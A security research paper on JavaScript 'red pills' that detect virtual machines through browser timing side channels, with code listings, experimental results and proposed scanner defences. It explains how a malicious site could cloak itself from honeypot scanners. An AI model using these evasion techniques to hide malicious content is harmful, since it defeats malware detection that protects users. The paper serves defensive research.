2024-12-02
2024-12-02
2cf10318b6e97f199089a54e620834ecfaf1c2b4
Tick Tock: Building Browser Red Pills from Timing Side Channels Grant Ho Stanford University Dan Boneh Stanford University Lucas Ballard Google Niels Provos Google Abstract Red pills allow programs to detect if their execution environment is a CPU emulator or a virtual machine. They are used by digital rights management systems and by malware authors. In this paper we study the possibility of browser-based red pills, namely red pills implemented as Javascript that runs in the browser and attempts to detect if the browser is running inside a virtual machine. These browser red pills can limit the effectiveness of Web malware scanners: scanners that detect drive-by downloads and other malicious content by crawling the Web using a browser in an emulated environment. We present multiple browser red pills that are robust across browser platforms and emulation technology. We also discuss potential mitigations that Web scanners can use to thwart some of these red pills. 1 Introduction Red pills are pieces of code designed to detect if they are being run inside a Virtual Machine (VM) or a CPU emulator. Red pills have several applications such as: - Honeypot evasion: Since honeypots often run in a virtual machine, red pills can help malware evade honeypots: whenever malware detects CPU emulation in its execution environment, it can decide not to infect the host. This makes it harder for honeypots to detect the malware. - Digital Right Management (DRM): DRM-enabled systems, such as a digital book reader or a movie player, can use red pills to ensure that DRM protected content will not play inside a VM. Previous work on red pills develop red pills for native software, namely programs that run directly on the operating system. Some use low-level operations such as examining the TLB size; some examine the contents of the operating system's registers and program counters; and some use CPU cycle counters to detect a VM-induced slow-down. The general consensus is that Virtual Machine Monitors (VMMs) are designed for efficiency, not transparency. That is, VMMs generally do not attempt to hide their existence from specifically crafted code designed to detect them. Our contributions. In this paper we develop browser-based red pills: red pills implemented in Javascript that run in the browser. The interest in browser-based red pills is a result of several systems that attempt to detect malicious content rendered in webpages. These systems run a browser in a CPU emulator or VM and crawl the Web looking for malicious sites. The existence of browser-based red pills can hamper these scanning efforts since a malicious website can choose to withhold malicious content if it detects (from the browser) that it is in an emulated environment. This work is intended to alert Web scanning services to potential limitations of their scanning techniques. The challenge in designing browser-based red pills is that the browser sandbox is a limited computing environment: Javascript cannot access the TLB, cannot read instruction counters, and cannot look at registers. Thus, many of the techniques available to application-level red pills simply do not work in the browser. The main tool left at our disposal is the browser's timing features, which have a granularity of a millisecond. Results. We show that timing variations in standard browser operations can reveal the existence of an emulation environment. By comparing the time that the browser takes to perform a simple baseline operation to the time the browser takes to do I/O, spawn Web workers, render complex graphics, or write to local storage, we are able to detect emulation environments with high statistical confidence. Not only do our red pills work against any combination of the two latest versions of Windows and three major browsers, but they also remain effective both against VMs that use binary translation for virtualization and against VMs that use hardware-assisted virtualization. We describe the implementation of multiple browser red pills in Section and present our evaluation results in Sections. We discuss potential defenses against these red pills in Section and conclude with a survey of related work. 2 Browser Red Pills Attack model: We consider a malicious website, evil.com, that tries to redirect normal users to a malicious webpage, but evade detection by redirecting honeypots to a benign webpage. When evil.com is loaded on an unknown machine, it will execute our browser red pills to determine if it is being executed in a VM (honeypot). We say that our browser red pills are effective if evil.com can successfully redirect a VM to a benign website and a normal user to a malicious website. There are numerous practical implementations of this attack model. For example, consider a scheme where evil.com executes our browser red pills and then sends the results to its server through an HTTP GET request. The server can then process the results of the GET request and return a response that redirects the visitor to a benign page if it suspects the visitor is a VM. We make the assumption that evil.com knows the browser and operating system of the visiting machine. Existing literature on browser and device fingerprinting [13, 12, 11] presents a plethora of techniques that easily allow a webpage to determine the visitor’s browser and operating system, so we view this as a reasonable assumption. 2.1 Designing Browser Red Pills While several papers have discussed red pills for native programs (executables that run directly on the operating system), many of these techniques are inapplicable to browser red pills. Prior work on native red pills often relies on detecting low-level anomalies in a system’s configuration that are caused by the VM; for example, several prior red pills enumerate the machine’s hardware devices, check registers and memory addresses, or look for debugging processes running on the machine to detect the presence of an emulation environment [13 12 11]. Unfortunately for attackers, the browser sandbox and Javascript language restrict webpages from the low-level access that these native red pills use. Nonetheless, our work shows that despite these limitations, browser red pills are still possible. By leveraging common Javascript operations, whose execution times are consistently and significantly different in a VM, we are able to construct timing-based red pills that work completely inside of the browser, without the assistance of plugins or browser extensions. Concretely, our browser red pills work by running two operations on the visitor’s machine: - A “baseline operation”, which takes roughly the same amount of time to execute on a normal machine as it does on a virtual machine, and - A “differential operation”, which has a significant and predictable difference in execution time between virtual machines and normal machines. After executing both operations, the red pills then compute an “adjusted” execution time for their differential operation by dividing the differential operation’s execution time by the baseline’s execution time. If the expected value for this ratio differs detectably between a virtual machine and a normal machine, then evil.com can use the ratio to detect the presence of a VM. We use a baseline operation in our red pills to account for performance differences that result from different hardware/system configurations and varying background loads on a user’s machine. If we used just the raw execution times of our differential operations, it could be unclear whether a longer execution time resulted from older hardware, concurrent activity like watching a video in a separate tab, or being executed in a virtual machine. 2.2 Implementing Browser Red Pills Each red pill is a snippet of Javascript that executes on a visitor’s machine. A red pill executes and times the baseline operation and the differential operation. Afterward, the red pill computes the ratio of the differential operation’s execution time to the baseline operation’s execution time. The high-level structure of our red pills is shown in Listing 1; while we used the Date object’s getTime() function for simplicity, any source of periodic timing can be used for timing measurements (e.g. other Javascript timing objects, implicit wall clocks from periodic functions like requestAnimationFrame, etc.). ``` function redpill() { var time = new Date(); var baseStart = time.getTime(); baselineOperation(); var baseTime = time.getTime() - baseStart; var diffStart = time.getTime(); differentialOperation(); var diffTime = time.getTime() - diffStart; return diffTime / baseTime; } ``` Listing 1: Structure of Browser Operation We tested two baseline operations and six differential operations for our browser red pills. Our six differential operations fall roughly into three broad categories: I/O operations, threading, and graphics. For an operation that depends on memory usage or I/O, the size of the operation can have a significant impact on its execution time and the red pill’s efficacy; if an I/O operation truly has a difference in execution time between a VM and a normal machine, a differential operation that executes a greater number of these I/O operations will elicit a larger, and more statistically significant time difference. Consequently, for operations where size/quantity might have a significant impact, we constructed multiple red pills that use several different sizes. When relevant to the operation, we will describe the quantities we used in our different red pills. 2.2.1 Baseline Operations We tested two baseline operations for our browser red pills: making repeated writes to a DOM node and allocating and deallocating large chunks of memory. These two operations are both simple, common JavaScript operations that had two important “stability” properties on our test machines: 1. Reliability: across multiple executions in a given browser on a given operating system, the baseline operation’s execution time stayed approximately the same. 2. Conformity: the baseline operation’s execution time on the normal machine took roughly the same amount of time as it did on its corresponding virtual machine. Because of their stability, pervasiveness, and simplicity, we thought these baseline operations could help account for execution time differences in our differential operations that result from different hardware and background load on real users’ machines. We tested all of our red pills using both baseline operations and report results for both versions of our red pills in Section 3.2; we also conducted experiments that tested the effects of a machine’s background activity on our red pills and the utility of our baseline operations, which we also discuss in Section 3.2. Listing 2 shows how our DOM writing baseline works. First, the DOM baseline operation generates a randomized string of twenty characters; it then creates an empty paragraph node and repeatedly appends this string to the paragraph node’s content. We tested this baseline operation at 100, 200, 400, 800, and 1600 repeated writes. ```javascript function textBaseline() { var addString = ‘Writes lots of text:" + Math.floor(Math.random() * 10000); var pNode = document.createElement(’p’); document.body.appendChild(pNode); for (var i = 0; i < TEXT_REPETITIONS; i++) { pNode.innerHTML = pNode.textContent + addString; } } ``` Listing 2: DOM Baseline Operation To prevent unexpected browser optimization/string caching when our red pill webpage is reloaded for a new experiment, we randomized the string used in our DOM baseline operation. This helps ensure that repeated trials of our red pills independently perform the full computation for their baseline operation; our data collection/experimental procedures are discussed in greater detail in Section 3.1. The code for our memory allocation/deallocation baseline is shown in Listing 3. This memory baseline generates a random number and populates an array with instances of the Number class (whose value is set to this random number); immediately after filling this array, we run a loop that pops all the Number objects from the array. Like our DOM baseline, randomness is added between each execution/function call to ensure independence between repeated trials that we performed to collect our results. We tested this baseline operation at 1000, 10000, 20000, 40000, and 80000 allocations and deallocations of Number objects. ```javascript function memoryBaseline() { RANDOM = Math.floor(Math.random() * 1000000); var array = new Array(); for(var i = 0; i < MEMORY_REPETITIONS; i++) { array.push(new Number(RANDOM)); } for(var i = 0; i < array.length; i++) { array.pop(); } } ``` Listing 3: Memory Baseline Operation To determine the optimal size for these baseline operations, we ran each baseline fifty times for each size on every combination of browser and machine setting that we tested our red pills on (details described in Section 3). We then looked for the sizes that had the smallest variance between multiple runs on a given machine and the smallest difference in execution time between the normal machine and its corresponding VM. This corresponded to 40000 Integer objects for our memory baseline and 400 read/writes for our DOM writing baseline; thus, we used these sizes to construct two versions of all of our red pills, one version for each of the two baselines. 2.2.2 I/O Differential Operations **Console Writing.** Our console operation writes the string “Error: Writing to Console!” to the browser’s console (which is hidden by default); to test the number of console write operations needed for a stable red pill, we wrote five separate console red pills whose differential operation made 1000, 2000, 3000, 4000, and 5000 consecutive writes to the console. We measured this oper- ation from before the first write to after the last write; the code for our Console Differential Operation is shown below in Listing 4. ```javascript function consoleOperation() { var error_str = 'Error: Writing to Console!'; for(var i = 0; i < CONSOLE_REPETITIONS; i++) { console.log(error_str); } } ``` Listing 4: Console Differential Operation **Local Storage.** HTML 5 introduces the local storage feature, which allows websites to store several megabytes of data persistently on disk. Similar to our console red pills, we created six different versions of local storage red pills. These six versions randomly generate and write a string to local storage for 100, 200, 400, 800, 1600, and 3200 repetitions; each string is 500 character longs. After all strings have been written to local storage, the operation then iterates over the local storage and reads each String back into an array. We measure this operation’s time from before the first write (but after all the strings are generated) to after the last string is read from local storage. 2.2.3 Threading Differential Operations In addition to local storage, HTML 5 enables multi-threading capabilities through web workers. Through the web worker API, a webpage can spawn new threads to execute code in Javascript files. The main webpage’s thread can then communicate with its web workers (and vice versa) through callback events defined in the web worker API. **Spawning Workers.** Our thread spawning operation launches a new web worker to execute a Javascript file. At the beginning of this Javascript file, the web worker immediately gets the current time and sends this time stamp to the main thread. The total execution time is measured from immediately before the web worker is created to the time stamp that the web worker reports when it first begins executing code. **Communicating Between Workers.** In addition to measuring the time to spawn threads, we constructed a red pill that measures how long it takes to communicate between two threads (we call this candidate red pill, “rtt operation”). For this rtt operation, we spawn a web worker that gets the current time and sends an “alive” message to the main thread. The main thread then echoes this “alive” message back to the web worker. When the worker receives this echo, it computes the difference between the current time and the time it initially sent the “alive” message; this time difference is then sent back to the main thread as the rtt operation’s execution time. 2.2.4 Graphics Differential Operations Finally, we constructed two more red pills by leveraging the WebGL API, which allows webpages to create complex graphics and games through OpenGL. **ReadPixels: CPU - GPU Communication.** We constructed a red pill that tests the communication latency between the CPU and graphics card of a website’s visitor. This red pill renders and randomly rotates ten triangles with a basic mesh pattern (default shaders and texture) multiple times. After each render call, we used WebGL’s readPixels() method to load the pixel bitmap from the visitor’s GPU into an array (the visitor’s main memory). We tested this differential operation with 40, 80, 160, and 320 render (readPixels) calls. We measured this operation’s time from the start of the first readPixels call to after the last readPixels call. **Complex Graphics.** Our final red pill tests the speed of the visitor’s GPU by rendering lots of polygons with complex shaders and textures. In the background of our canvas, we used the Shader example from Three.js (a popular WebGL library), which renders a large plane that uses a complex whirlpool-pattern shader. On top of the plane, we render three Spheres constructed of many polygons (our Sphere objects were 100 width segments by 100 height segments); to each of these objects, we applied a complex lava texture from Three.js. Our torus and sphere objects were then animated by rotating the objects a random number of radians at each render call. We started the timing measurement at the beginning of the canvas initialization (before any WebGL objects are constructed for rendering) and stopped the measurement after the twentieth animation. 3 Evaluation 3.1 Testing Methodology We tested our red pills on Chrome version 34, Firefox version 29, and Internet Explorer version 11 on Windows 7 (SP 1) and Windows 8.1. Our Windows 7 host machine used an Intel i5 processor and Intel 4600 integrated graphics card; the Windows 8.1 machine used an AMD A10 processor and AMD Radeon 8750M graphics card. Our virtual machines used identical operating systems and browser versions; we ran the VMs on our Win- Each virtual machine instance was run with 3D graphics acceleration enabled, 2 dedicated processors, and 2 GB of RAM; we believe this is a generous resource allocation when compared to real-world honey pot systems, which may need to run multiple VMs on a single machine in order to operate at scale. We tested our VMs with both hardware-assisted virtualization enabled (Intel VT-X/EPT or AMD-V/RVI mode) and hardware-assistance disabled (binary translation mode); our experiments show that most of our red pills are effective regardless of hardware assisted virtualization. For the rest of this paper, we will refer to the VM setting with binary translation as “VM-BT” and the VM setting with hardware-assisted visualization as “VM-HV”. In total, this setup yielded 18 testing “environments” {Chrome, Firefox, IE} x {Host, VM-BT, VM-HV} x {Windows 7, Windows 8}. To test our red pills, we created a webpage that executes a red pill and records the differential operation’s execution time, as well as the execution time of both of our baseline operations; one loading of a webpage in a given environment constituted one trial. We conducted one-hundred trials for each environment by reloading each red pill webpage one hundred times, with a 500 ms delay between reloads. Each environment was tested independently (i.e. only one browser and OS [VM or normal machine] was running during each experiment). From these results, we computed the average timing ratio for each differential operation against both of our baseline operations. To evaluate the efficacy of our red pills, we used unpaired, two-sample t-tests (with $\alpha = 0.05$) to compare the average red pill timing ratio for our normal machine against the average red pill timing ratio for the corresponding VM-BT and VM-HV virtual machines; t-tests are statistical tests used for hypothesis testing. In our case, they test if the distribution of a normal machine’s timing ratios is significantly different from the distribution of VM timing ratios. For all red pills that yielded a t-test with p-values less than 0.05 (standard value for a significance difference), we calculated whether one standard deviation away from the mean of the normal machine’s red pill ratio was more than one standard deviation away from the mean of the VM’s red pill ratio (either VM-HT or VM-BT). If this inequality held, we considered the red pill to be effective because it would allow attackers to set an easy red pill threshold that attacks real users and evades VMs with high probability. Since the distribution of timing ratios in our data seems to approximate the normal distribution, timing ratios that are greater than one standard deviation above the normal machine’s mean account for roughly 16% or less of the data (under the normal curve, a single tail above/below the mean constitutes approximately 16% of the probability density). In the context of our experiments, this means that our one-standard-deviation cutoff produced browser red pills that incorrectly attacked a VM or behaved benignly on a normal machine less than 16% of the time. To summarize, we consider a red pill to be effective if: 1. First, the unpaired t-test (at $\alpha = 0.05$) yielded a p-value of less than 0.05 when comparing the mean of the normal machine’s red pill ratio vs. one of the means for a VM’s red pill ratio (either VM-BT or VM-HV). 2. Additionally, the red pill satisfied one of these two properties: \[ \text{Mean}_{\text{Normal}} + \text{SD}_{\text{Normal}} < \text{Mean}_{\text{VM}} - \text{SD}_{\text{VM}}, \text{ if the red pill took longer on the VM} \] \[ \text{Mean}_{\text{Normal}} - \text{SD}_{\text{Normal}} > \text{Mean}_{\text{VM}} + \text{SD}_{\text{VM}}, \text{ if the red pill took longer on the normal machine} \] Here, $\text{Mean}_{\text{Normal}}$ and $\text{SD}_{\text{Normal}}$ are the mean timing ratio and standard deviation for our normal machine; $\text{Mean}_{\text{VM}}$ and $\text{SD}_{\text{VM}}$ have the corresponding definitions for our VM. ### 3.2 Results **Overview.** Tables 1 and 2 present a summary of our red pill efficacy for each environment we tested; Table 1 presents a summary of our red pills that use DOM-writing as their baseline operation and Table 2 presents a summary of our red pills that use memory allocation as their baseline. A suffix of BT means the red pill was effective against a VM using binary translation, and a suffix of HV means that the red pill was effective against a VM with hardware-assisted virtualization enabled. The numbers in each cell represent the p-value obtained from our t-tests that compared the normal machine’s average timing ratio against the VM’s average timing ratio; a p-value close to zero indicates a high statistical confidence that there is a significant difference between the distribution of normal machine timing ratios and the distribution of VM timing ratios. **Variable Sized Red Pills.** Recall that for three of our red pills, “Console Writing”, “Local Storage”, and “Read Pixels: CPU-GPU”, we constructed multiple versions of the red pill that varied the operation size (i.e. number of read/writes); Tables 1 and 2 present the results for the red pill sizes that successfully distinguished between the most environments. For local storage and reading pixels from the GPU, the maximum size we tested against provided strictly more successful red pills than the smaller sizes, so we report the results for 3200 read/writes for local storage and 320 ReadPixels calls in our tables. However, for our console writing red pills, we found that the number of writes, past 2000 console writes, did not affect the red pill’s environment coverage (i.e. a red pill that makes 2000 writes to console is effective against Chrome on Windows 8 BT/HV, whereas a red pill that makes 4000 writes to console is still only effective against Chrome on Windows 8 BT/HV). Deterministic Browser Red Pills. During our experiments, we noticed that Firefox refuses to render WebGL contents in a virtual machine - even though it has no problem rendering the exact same WebGL contents on exactly the same operation system on a normal machine. This provides an easy mechanism to distinguish between Firefox in a VM and Firefox on a normal user’s machine. We suspect this is a problem with Firefox’s whitelist of acceptable graphics cards for WebGL. When viewing the VM’s configuration in Firefox through about: support, we noticed that Firefox reported VMWare’s vsSGA graphics card as the system’s graphics card and disabled WebGL because of “unresolved driver issues”. At the same time, Chrome and IE also reported VMWare’s virtualized graphics card as the system’s graphics card, but they still enabled WebGL features and rendered our WebGL content in the VM. Given this browser reported information, we believe that Firefox’s implementation does not support WebGL in VMs. More broadly, this is a good illustration of the difficulties in constructing fully transparent VMs/undetectable honey pots; even virtualization bugs that seem security-irrelevant can leak information that can be used for malicious purposes. Red Pills that Run Faster on VMs. As noted by asterisks in our results tables, several of our red pills were successful because their timing ratios were significantly larger on the normal machine than on the corresponding VM: in other words, for these red pills, the differential operation ran slower on the normal machine. While we don’t have a definitive reason for this surprising result, we believe most of these differences can be attributed to the effects of virtualized hardware on I/O operations. Many of the red pills that run faster on a VM are I/O operations, namely our Local Storage red pills and our ReadPixel red pills that test the communication speed between the CPU and GPU. For both of these red pills, our VMs use some form of virtualized hardware (either a virtualized disk or graphics card). Because the VM is interacting with virtualized devices, I/O operations in the VM might run faster because of optimizations/in-memory caching, or emulation that the VM performs (which can mitigate the number of expensive I/O operations to the actual physical devices). Future work should design experiments to more rigorously and precisely identify the reason why certain red pills run faster on VMs than on their normal machine counterparts. Effect of Background Activity. To explore the effects of background activity on our red pills, we re-ran all of <table> <thead> <tr> <th>DOM Baseline</th> <th>Chrome</th> <th>Firefox</th> <th>IE</th> </tr> </thead> <tbody> <tr> <td>Windows 8 BT</td> <td>Console Writing (&lt;1.0 · 10^{-6})&lt;br&gt;Local Storage (&lt;1.0 · 10^{-6})&lt;br&gt;ReadPixels (&lt;1.0 · 10^{-6})&lt;br&gt;Spawning Workers (&lt;1.0 · 10^{-6})*</td> <td>ReadPixels (0)&lt;br&gt;Complex Graphics (0)</td> <td>Local Storage (&lt;1.0 · 10^{-6})&lt;br&gt;Complex Graphics (&lt;1.0 · 10^{-6})</td> </tr> <tr> <td>Windows 8 HV</td> <td>Console Writing (&lt;1.0 · 10^{-6})&lt;br&gt;Local Storage (&lt;1.0 · 10^{-6})&lt;br&gt;Spawning Workers (&lt;1.0 · 10^{-6})*</td> <td>ReadPixels (0)&lt;br&gt;Complex Graphics (0)</td> <td>Complex Graphics (&lt;1.0 · 10^{-6})</td> </tr> <tr> <td>Windows 7 BT</td> <td>ReadPixels (&lt;1.0 · 10^{-6})<em>&lt;br&gt;Complex Graphics (&lt;1.0 · 10^{-6})</em></td> <td>ReadPixels (0)&lt;br&gt;Complex Graphics (0)</td> <td>Complex Graphics (&lt;1.0 · 10^{-6})</td> </tr> <tr> <td>Windows 7 HV</td> <td>ReadPixels (&lt;1.0 · 10^{-6})<em>&lt;br&gt;Complex Graphics (&lt;1.0 · 10^{-6})</em></td> <td>ReadPixels (0)&lt;br&gt;Complex Graphics (0)</td> <td>Local Storage (&lt;1.0 · 10^{-6})*&lt;br&gt;ReadPixels (&lt;1.0 · 10^{-6})&lt;br&gt;Complex Graphics (&lt;1.0 · 10^{-6})</td> </tr> </tbody> </table> Table 1: Successful Red Pills for DOM Baseline. The rows represent the VM settings (BT is a VM with binary translation and HV is a VM with hardware-assisted virtualization enabled) and each column represents a major browser. The number in parentheses is the p-value for the t-tests that compare normal machine’s mean ratio vs. the VM’s mean ratio; smaller numbers indicate a higher statistical confidence that there is a difference between normal machine timing ratios and VM timing ratios; for non-zero p-values less than 1.0 · 10^{-6}, we simply list the value as “<1.0 · 10^{-6}”. Red pills with an asterisk ran faster on the VM than on the normal machine (i.e. the timing ratio for the normal machine was larger than the VM’s timing ratio). Details of these red pills were described in Section 2.3.2. the red pills on our normal machines. In this second round of testing, we followed the exact same procedure outlined in Section 3.1, except that prior to visiting our red pill website, we opened three additional tabs in the browser; the first tab played a long Youtube video, the second tab contained the researcher’s personal email account, and the final tab contained a popular news website. By running these three tabs in the background, the resulting timing measurements from our normal machines should provide a reasonable approximation of their performance on a real user’s machine; we did not load and test our VMs with similar background activity because it is unlikely that a honeypot runs large amounts of background activity during its analysis. With the exception of our “Spawning Workers” red pill, all of our red pills for both baselines remained effective (based on the same criteria we presented in Section 3.1). Since our “Spawning Workers” red pills only worked for Chrome running on Windows 8 originally, we still have enough red pills to fully cover every combination of operating system, major browser, and virtualization technology; this suggests that our idea of using a baseline operation to scale the red pill timing measurements enhances the robustness and practicality of our browser red pills. Summary. Overall, our browser red pills fully cover the three most popular browsers on the two latest versions of Windows, even when common browsing activity is concurrently run in the background. Additionally, both baseline operations generated enough red pills to fully cover all these execution environments, which suggests that either baseline can be used for browser red pill constructions. Furthermore, our experiments indicate that even when advanced techniques like hardware-assisted virtualization are used, our browser red pills remain effective at distinguishing a VM from a normal machine. Ultimately, the high statistical confidence and broad effectiveness of our red pills at identifying virtual machines show that browser red pills are possible, despite their inability to access low-level information that native red pills frequently rely on. 4 Red Pill Defenses In this section, we discuss three potential defenses to browser red pills. While two of these defenses face significant challenges, we believe our third defense will be effective against browser red pills for the time being. 4.1 VM-Obfuscation Defenses Our first two defenses aim to make a honeypot indistinguishable from a normal user machine. The first defense relies on developing better virtualization technology, while the second defense attempts to distort the timing measurements of red pills. Fully Transparent Virtual Machines. While numerous advances have been made in virtualization technology, our work presents several browser red pills that work even against VMs with hardware-assisted virtualization; thus, detection frameworks that leverage improved virtualization to disguise their presence still face <table> <thead> <tr> <th>Memory Baseline</th> <th>Chrome</th> <th>Firefox</th> <th>IE</th> </tr> </thead> <tbody> <tr> <td>Windows 8 BT</td> <td>Console Writing (&lt;1.0 · 10^-6)</td> <td>ReadPixels (0)</td> <td>Complex Graphics (&lt;1.0 · 10^-6)</td> </tr> <tr> <td></td> <td>Local Storage (&lt;1.0 · 10^-6)</td> <td>Complex Graphics (0)</td> <td>Complex Graphics (&lt;1.0 · 10^-6)</td> </tr> <tr> <td>Windows 8 HV</td> <td>Console Writing (&lt;1.0 · 10^-6)</td> <td>ReadPixels (0)</td> <td>Complex Graphics (&lt;1.0 · 10^-6)</td> </tr> <tr> <td></td> <td>Local Storage (&lt;1.0 · 10^-6)</td> <td>Complex Graphics (0)</td> <td>Complex Graphics (&lt;1.0 · 10^-6)</td> </tr> <tr> <td></td> <td>Spawning Workers (&lt;1.0 · 10^-6)*</td> <td>ReadPixels (0)</td> <td>Complex Graphics (&lt;1.0 · 10^-6)</td> </tr> <tr> <td>Windows 7 BT</td> <td>ReadPixels (&lt;1.0 · 10^-6)*</td> <td>ReadPixels (0)</td> <td>Complex Graphics (&lt;1.0 · 10^-6)</td> </tr> <tr> <td>Windows 7 HV</td> <td>ReadPixels (&lt;1.0 · 10^-6)*</td> <td>ReadPixels (0)</td> <td>Complex Graphics (&lt;1.0 · 10^-6)</td> </tr> </tbody> </table> Table 2: Successful Red Pills for Memory Baseline. The rows represent the VM settings (BT is a VM with binary translation and HV is a VM with hardware-assisted virtualization enabled) and each column represents a major browser. The number in parentheses is the p-value for the t-tests that compare the normal machine’s mean timing ratio vs. the VM’s mean timing ratio; for non-zero p-values less than 1.0 · 10^-6, we simply list the value as “<1.0 · 10^-6”. Red pills with an asterisk ran faster on the VM than on the normal machine (i.e. the timing ratio for the normal machine was larger than the VM’s timing ratio). challenges in defeating our browser red pills [4]. In order to fundamentally defend against all timing side channels, we would ideally have fully transparent VMs; however, building fully transparent VMs remains an open problem and some researchers believe that building them is fundamentally infeasible [6]. Moreover, even if fully transparent VMs existed, honeypots would still need to hide the overhead incurred by the operational structure of anti-malware organizations. In order to operate at scale, large honeypot systems are unlikely to give a single VM the entire hardware-resource allocation of the underlying normal machine or purchase/use expensive hardware like graphics cards for analysis; these operational overheads are likely to enable reliable timing-based red pills, especially for red pills that rely on heavy computation from expensive hardware, like our graphics red pills. Given the lack of technology that enables fully-transparent VMs and the practically-induced, performance overhead in honeypot systems, we believe that fully-transparent VMs are not a viable defense for large-scale honeypot systems. Corrupting Red Pill Timing Measurements. If a honeypot can effectively distort the timing measurements used by red pills, it might be able to trick a nefarious server into revealing its malicious content. Three time-distortion techniques come to mind: honeypots could “cheat” on expensive operations to speed up their execution time, add random noise to javascript timing measurements, or add delays to certain operations in order to distort the red pill’s timing ratios. A cheating honeypot might try to speed up expensive operations like rendering graphics by forgoing execution and sleeping for a short amount of time instead. Unfortunately, attackers often have simple ways to check that an operation was actually executed (thereby detecting a cheating honeypot). For example, consider a honeypot that cheats on its graphics operations; rather than rendering graphics, the honeypot simply sleeps for a short amount of time for each graphics operation. In response, an attacker can write WebGL code that renders images that contain several patches of homogeneous color and performs several animations on the images, such as rotations. In addition to retrieving the red pill timing measurements, the malicious website will also fetch pixels at specific locations where the colored patches should be in the final, rotated image. If the rgb values of these chosen pixels don’t match the expected result of the animation, the attacker can detect that the unknown visitor is a “cheating” honeypot, who doesn’t actually render WebGL graphics. With cheating ruled out, honeypots might try adding random noise to JavaScript timing measurements to increase the probability that they pass a red pill check. Unfortunately, there are numerous ways for a website to measure time (Date.getTime, Performance.now, setInterval, etc.), which means that a honeypot would need to identify all possible timing sources in Javascript and randomly alter the time returned by each call. Moreover, beyond the various timing API’s in Javascript, attackers might be able to construct a variety of implicit timing sources through periodic functions like requestAnimationFrame() or by sending periodic pings to their servers as the red pills execute on the visitor’s machine. With this insight, a red pill can defeat a random-noise honeypot by combining multiple sources of timing to detect anomalies in the visitor’s reported times. For example, a red pill might measure a differential operation’s execution time with both Date.getTime and Performance.now measurements. If the two time source’s measurements differ by more than a few milliseconds, then the website can guess that its visitor is a honeypot who adds random noise to time sources. Furthermore, a malicious website could execute its red pills multiple times and average the timing results to cancel the effect of random noise; an attacker might even be able to analyze the timing variance of multiple red pill executions to detect a honeypot that adds random timing noise. Finally, honeypots can try adding delays to the red pill baseline operations in order to decrease the timing ratios and make it seem like the VM is executing at a normal machine’s speed. If we assume that a honeypot can identify a red pill’s baseline operations (we discuss this more in the following section), then it can use this information to distort the timing ratios and extract a website’s malicious content for more detailed analysis. However, if a honeypot is unable to identify all possible baseline operations, then it needs to commit to frequently adding delays to common JavaScript operations, like writing to the DOM, allocating memory, and any other possible baseline operation. Given that large-scale honeypots need to scan tens of millions of websites, adding even a couple of milliseconds of delay to these common operations could translate to non-trivial losses in scanning throughput. Thus, while adding delays to distort timing ratios might defeat red pills, honeypot operators may need to evaluate whether the lost scanning time justifies the use of this defense. 4.2 Detection Techniques Given these challenges in making virtual machines indistinguishable from normal machines, we believe that honeypots should focus on identifying the presence of browser red pills or the malicious content that is hidden by the red pills. Symbolic Execution Techniques. Several papers have been written on extracting malicious behavior from evasive or obfuscated programs using symbolic execution [9], [2]. Unfortunately, these techniques can easily be evaded by webpages that use browser red pills. Unlike native programs, webpages have much greater flexibility with the code they execute and where the code comes from; it is perfectly normal for webpages to send data to other websites and load content/code from many different URLs. To illustrate the challenges of symbolic execution against browser red pills, consider the following scenario: when an unknown user visits evil.com, evil.com executes our browser red pills, encodes their values as HTTP GET parameters in a URL to its server, and loads the URL in an iframe. Based on the red pill values encoded in the url, the malicious server then chooses to return a benign webpage to be loaded in the iframe if it suspects the visitor is a honeypot. Since the honeypot is never served any malicious code/content, there is nothing for a symbolic execution system to extract. Detecting the Presence of Red Pills. Rather than trying to extract hidden contents from a webpage, it might be easier to detect the presence of red pills themselves. Two opportunities exist for detecting browser red pills: detecting baseline operations and detecting differential operations. Currently, our scheme uses two baseline operations, either of which could be used alone to construct browser red pills. Against our memory allocation baseline, we envision using a heap analysis tool to detect unusually large memory operations; already, tools like Nozzle [17] analyze a webpage’s memory allocation to detect heap-spraying attacks, so this might be an effective technique against memory-based red pills. Against our DOM writing baseline, honeypots can monitor the DOM calls made by a webpage; since our DOM writing baseline makes hundreds of reads and writes to the DOM in a short time interval, analyzing the frequency of DOM calls might be sufficient to detect our DOM-based red pills. Implicitly, these detection techniques rely on an underlying assumption that a wide variety of stealthier baseline operations do not exist; future work should examine whether a variety of smaller baseline operations can be built from common JavaScript operations. If this cannot be done, then detecting baseline operations can an effective countermeasure to browser red pills. Additionally, honeypots can try to detect the differential operations. Unfortunately, aside from our local storage operation, the differential operations used in our successful red pills might be hard to detect. While our console operation makes thousands of writes to console, this can easily be the result of buggy JavaScript code (which exists en-mass on the web); so unlike detecting our DOM writing baseline, it is unclear how to detect our console writing operation. Against our graphics red pills, it seems unlikely that a honeypot can successfully determine if a graphics operation is malicious in light of the numerous fancy WebGL images and games on the web. Thus, detecting a red pill’s differential operation seems like a less effective approach than detecting the baseline operation used by red pills. 5 Related Work Our techniques for browser red pills relate to three areas of security research: red pills for native programs, methods for honeypot evasion/malicious website cloaking, and web fingerprints for identifying browsers and devices. Red Pills for Native Programs. As discussed earlier, several papers study red pills for native software (programs that run directly on the operating system) [18], [14], [3], [5]; however, many of the techniques used in these papers do not work for browser red pills. Many of these native red pills are constructed using low-level operations, such as examining the contents of the operating system’s registers and program counters [18], [14], and [3]; these tests are unusable for browser red pills because the browser sandbox and language abstractions of Javascript prevent websites from accessing this information. In addition to these low-level, anomaly-detection red pills, Franklin et al. [5] run select operations hundreds-of-thousands of times to create “fuzzy benchmarks” that detect a virtual machine based on performance degradation; however, this approach assumes it has kernel level access and counts performance degradation based on the number of cpu-cycles elapsed, making it unusable for Javascript-based red pills. Finally, for native red pills that don’t need low-level or root access, Chen et al. [3] presents a technique using TCP timestamps to detect anomalous clock skews in VMs; but, this technique takes several minutes to execute, making it impractical for malicious web pages (a normal user is unlikely to wait more than a few seconds for a page to load). Moreover, this clock skew technique requires sending streams of hundreds of SYN packets to the VM, which is easy for a honeypot to detect as malicious behavior and hard for an attacker to obfuscate. Thus, our work is distinct from prior red pill literature because we present the first red pills that run completely within the browser; this more restricted setting has a number of important attack applications, such as web malware that wants to hide zero-day, browser exploits. Malicious Website Cloaking and Honey Pot Evasion. In addition to the work on detecting evasive malware that we discussed in our Defense section, several papers have studied cloaking/evasion techniques that are currently used in-the-wild by malicious websites. Rajab et al. [16] discuss different methods that have been used to evade Google Safe Browsing’s web malware detection system, as well as a number of defenses and detection enhancements that counter these evasion techniques. Our browser red pills address the more fundamental problem of generally distinguishing a VM from a normal user’s machine; additionally, our red pills are harder to defeat than the techniques presented in [16], which use fragile methods like cloaking against Google IP addresses. 